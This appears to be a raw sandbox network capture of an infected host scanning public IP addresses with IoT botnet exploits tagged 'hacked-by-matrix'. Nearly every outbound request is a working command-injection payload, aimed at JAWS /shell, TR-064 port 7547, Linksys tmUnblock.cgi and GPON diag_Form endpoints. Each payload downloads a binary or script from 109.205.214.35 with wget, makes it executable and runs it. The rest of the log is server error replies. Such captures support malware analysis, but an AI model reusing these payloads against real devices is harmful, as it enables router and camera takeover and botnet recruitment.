Mar 21, 2024 05:26:01.532973051 CET	404	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:26:01 GMT Server: Apache Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
549	192.168.2.23	43280	52.44.5.126	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:01.531596899 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:26:01.632323027 CET	78	IN	HTTP/1.1 400 BAD_REQUEST Content-Length: 0 Connection: Close

Session ID	Source IP	Source Port	Destination IP	Destination Port
550	192.168.2.23	38416	52.73.125.46	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:01.874030113 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:26:02.178782940 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:26:02.273255110 CET	509	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:26:02 GMT Server: Apache/2.4.29 (Ubuntu) Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 61 70 69 2e 66 72 65 69 67 68 74 73 6e 61 70 61 73 69 61 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.29 (Ubuntu) Server at api.freightsnapasia.com Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
551	192.168.2.23	57624	207.188.224.215	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:01.876080036 CET	259	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:26:01.979161978 CET	601	IN	HTTP/1.1 400 Bad Request Content-Type: text/html;charset=utf-8 Content-Language: en Content-Length: 435 Date: Thu, 21 Mar 2024 04:26:00 GMT Connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 30 20 e2 80 93 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 62 6f 64 79 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 7d 20 68 31 2c 20 68 32 2c 20 68 33 2c 20 62 20 7b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 7d 20 68 31 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 7d 20 68 32 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 20 68 33 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 7d 20 70 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 20 61 20 7b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 7d 20 2e 6c 69 6e 65 20 7b 68 65 69 67 68 74 3a 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 30 20 e2 80 93 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!doctype html><html lang="en"><head><title>HTTP Status 400 Bad Request</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400 Bad Request</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
552	192.168.2.23	46370	196.210.100.229	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:02.007673979 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:03.091483116 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:03.454364061 CET	174	IN	HTTP/1.1 400 Bad Request Content-Length: 0 Date: Thu, 21 Mar 2024 04:26:03 GMT X-Frame-Options: sameorigin Content-Security-Policy: frame-ancestors 'self'

Session ID	Source IP	Source Port	Destination IP	Destination Port
553	192.168.2.23	34652	98.243.14.5	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:02.076968908 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
554	192.168.2.23	44236	98.213.143.42	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:02.079466105 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
555	192.168.2.23	35820	81.157.31.24	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:02.352317095 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:02.541099072 CET	86	IN	HTTP/1.1 503 Service Unavailable Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
556	192.168.2.23	35850	81.157.31.24	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:02.542738914 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:02.733962059 CET	86	IN	HTTP/1.1 503 Service Unavailable Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
557	192.168.2.23	35852	81.157.31.24	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:02.551305056 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:02.742861986 CET	86	IN	HTTP/1.1 503 Service Unavailable Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
558	192.168.2.23	35854	81.157.31.24	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:02.732673883 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:02.922471046 CET	86	IN	HTTP/1.1 503 Service Unavailable Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
559	192.168.2.23	49586	118.46.43.41	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:03.146177053 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
560	192.168.2.23	56256	79.217.253.5	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:03.146198034 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
561	192.168.2.23	39642	118.221.0.171	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:03.146202087 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
562	192.168.2.23	47568	2.51.105.155	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:03.146207094 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
563	192.168.2.23	36968	210.202.117.168	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:03.146226883 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
564	192.168.2.23	43626	94.216.19.186	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:03.146229029 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
565	192.168.2.23	39910	109.170.38.69	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:03.146230936 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
566	192.168.2.23	48992	109.186.192.188	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:03.146414042 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
567	192.168.2.23	58582	178.32.106.132	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:03.146414042 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
568	192.168.2.23	56746	37.243.194.76	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:03.146425962 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
569	192.168.2.23	53572	94.148.176.238	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:03.146445990 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
570	192.168.2.23	45884	109.151.220.213	443

Timestamp	Bytes transferred	Direction	Data
